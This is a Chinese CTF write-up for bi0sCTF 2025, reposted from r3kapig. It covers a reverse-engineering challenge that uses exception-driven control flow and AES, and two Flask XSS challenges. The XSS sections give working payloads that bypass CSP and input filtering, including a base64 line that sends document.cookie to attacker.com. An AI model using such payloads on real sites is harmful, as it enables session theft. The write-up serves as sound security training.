bi0sCTF 2025 Writeup by r3kapig


跳过反调试函数后会调用RaiseException 触发一个异常,在except块中执行的才是真正的逻辑


bi0sCTF 2025 Writeup by r3kapig


接下来走到一个很奇怪的函数


bi0sCTF 2025 Writeup by r3kapig


他会异或两个一样的字符,然后指针指向这个字节,造成了空指针异常


bi0sCTF 2025 Writeup by r3kapig


在下面几条指令都打上断点,运行程序,断在了下面的mov指令上,结合后面的分析可以看出来,整个程序的真实逻辑都是由许多异常来触发连接起来的


bi0sCTF 2025 Writeup by r3kapig


接着解密了一个字符串molaga_bajji_<<3 下面依旧是一个反调试函数,直接跳过


bi0sCTF 2025 Writeup by r3kapig


接下来执行main函数,其中会解密一个fake flag晃你一下

b0is{d3fin1t3ly_l00k_0ut_f0r_th4t_f4k3_stuff_0ut_th3r3!}


步过前面的逻辑,在最下面又触发了除0异常


bi0sCTF 2025 Writeup by r3kapig


按照这个流程一直调试下去,中间同样插入了许多的反调试函数,解密了另一个字符串

nothing_beats_the_og_idli_sambar


bi0sCTF 2025 Writeup by r3kapig


最终走到了对文件内容加密的地方,其实就是用了前面解密出来的两个字符串作为key和iv,使用AES加密了文件内容


bi0sCTF 2025 Writeup by r3kapig


解密文件


bi0sCTF 2025 Writeup by r3kapig
bi0sCTF 2025 Writeup by r3kapig



最终flag为:

bi0sctf{172.26.48.122:8080_OAguIdjxaYqoqOvXeLxmS94zi772OisontPrmKtJfkC1ZwlpLE}





Web


My Flask App


一道xss题。


由于较为严格的 CSP 设置,任何内联脚本都无法运行,仅能加载和执行同源的脚本文件;允许使用 eval。


users.js 中刚好有这样一个 eval 可用:


document.addEventListener("DOMContentLoaded"asyncfunction() {    constsleep = (ms) => newPromise(resolve =>setTimeout(resolve, ms));    // get url serach params    const urlParams = newURLSearchParams(window.location.search);    const name = urlParams.get('name');    if (name) {        fetch(`/api/users?name=${name}`)            .then(response => response.json())            .then(data => {                frames = data.map(user => {                    return`                        <iframe src="/render?${Object.keys(user).map((i)=> encodeURI(i+"="+user[i]).replaceAll('&','')).join("&")}"></iframe>                    `;                }).join("");                document.getElementById("frames").innerHTML = frames;            })            .catch(error => {               console.log("Error fetching user data:", error);            })            }    if(window.name=="admin"){            js = urlParams.get('js');            if(js){                eval(js);            }                }    })


users.js 中首先根据 name 参数(可控)查询 /api/users,随后以查询结果构造多个 iframe。如果满足 window.name == "admin",就会用 eval 执行 js 参数的值。


最简单的想法是,在页面中插入一个 <iframe name="admin"></iframe>,通过 DOM Clobbering 覆盖 name;然而,且不论能否做到插入任意的 iframe 元素,更关键的问题是,index.js 和 users.js 先后被 users.html 加载,而前者中一开始就执行了 window.name="notadmin";。既然 window.name 已被显式设置,浏览器就不会再将 DOM 元素挂载到其上了,DOM Clobbering 无法覆盖之。因此,必须要想办法避开 index.js 而只加载 users.js,才有可能执行这个 eval。


把目光转向 /render 接口。接受 name 和 bio 参数,后者未作转义,可以注入。


<!DOCTYPE html><html><head><title>Profile</title><linkrel="stylesheet"type="text/css"href="{{ url_for('static', filename='style.css') }}">
</head><body><divclass="container"><h1>User Profile</h1><pid="name">{{ request.args.get('username') }}</p><pid="bio">{{ request.args.get('bio') |safe }}</p></div></html>


根据 users.js,/render 页面的参数来自数据库的查询结果,后者又由 /update_bio 接口更新:


@app.route("/update_bio", methods=["POST"])@login_requireddef update_bio():
    username = session.get("username")    ifnot username or username == "admin":        return jsonify({"error""Invalid user"}), 401
    data = request.json    if"username"indata or"password"indata:        return jsonify({"error""Cannot update username or password"}), 400    bio = data.get("bio""")       ifnot bio or any(        charnot in"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 "        forchar in bio    ):        return jsonify({"error""Invalid bio"}), 400
    result = users_collection.update_one({"username": username}, {"$set": data})    if result.matched_count > 0:        return jsonify({"message""Bio updated successfully"}), 200    else:        return jsonify({"error""Failed to update bio"}), 500


此处数据库用的是 mongo,最终,bio 会在 /render 中被不加转义地渲染到页面。


注意到,尽管此处对 bio 做了比较严格的限制,但最终插入到数据库的是完整的 data,即 request.json。


如果我们构造如下的 payload,以 hacker 用户身份提交:


{"bio":"111","&bio":"222"}


那么在 `users.js` 中拼接 iframe 处,最终会拼接出:


<iframesrc="/render?bio=111&username=hacker&bio=222"></iframe>
由于不完备的拼接逻辑,前一个经过检查的 `bio` 最终不会被使用到,而后一个未经检查的 `&bio` 我们完全可控,由此我们可以在 `/render` 中插入任意内容。
由于最开始提到过的 CSP 限制,在 `/render` 中插入的内联脚本不会被执行;但 iframe 照常。因此有如下思路:
1. 在 `/render` 中插入一个新的 iframe,`name` 为 `admin`2. 使 iframe 内容包括 `users.js`,但不包括 `index.js`3. 请求参数包含 js,值为偷 cookie 的脚本
要求 2 可以使用 iframe 的 `srcdoc` 属性实现;要求 3 可以通过为 iframe 添加一个 `<meta>`  跳转来实现。


最终 payload:


{"bio":"a","&bio":"<iframe name=admin srcdoc="<meta http-equiv=refresh content='1;url=about:srcdoc?js=eval(atob(/dG9wLmxvY2F0aW9uID0gWyIvL2F0dGFja2VyLmNvbSIsZG9jdW1lbnQuY29va2llXQ==/.source))'><script src=/static/users.js></script>"></iframe>"}


base64 解码后为:


top.location = ["//attacker.com",document.cookie]


注意 cookie 只在顶级页面中,所以使用 top.location 强制最外层窗口跳转。


My Flask App Revenge


两道题源码做 diff:


第一处变化是 `render.html` 中加载了 `index.js`。


第二处变化在 `users.js` 中,iframe 拼接变成了:


<iframe src="/render?${Object.keys(user).map((i)=> encodeURI(i+"="+user[i]).replaceAll('&','%26')).join("&")}"></iframe>


区别在于,revenge 中将 & 替换成了 %26,而原始版本仅是删除 &。


现在我们无法使用 &bio 来直接注入了,但仍然可以绕过:


{"bio":"111","amp;bio":"222"}


该 payload 经过拼接后会产生:


<iframesrc="/render?bio=111&amp;bio=222"></iframe>


&amp; 构成了 & 的实体编码,依然可以绕过过滤控制 bio 参数。


后续的思路并无变化,新增的 index.js 不影响深层的 iframe 内部。




🎉欢迎简历投递 [email protected]


原文始发于微信公众号(r3kapig):bi0sCTF 2025 Writeup by r3kapig

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月15日13:36:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   bi0sCTF 2025 Writeup by r3kapighttp://cn-sec.com/archives/4166530.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息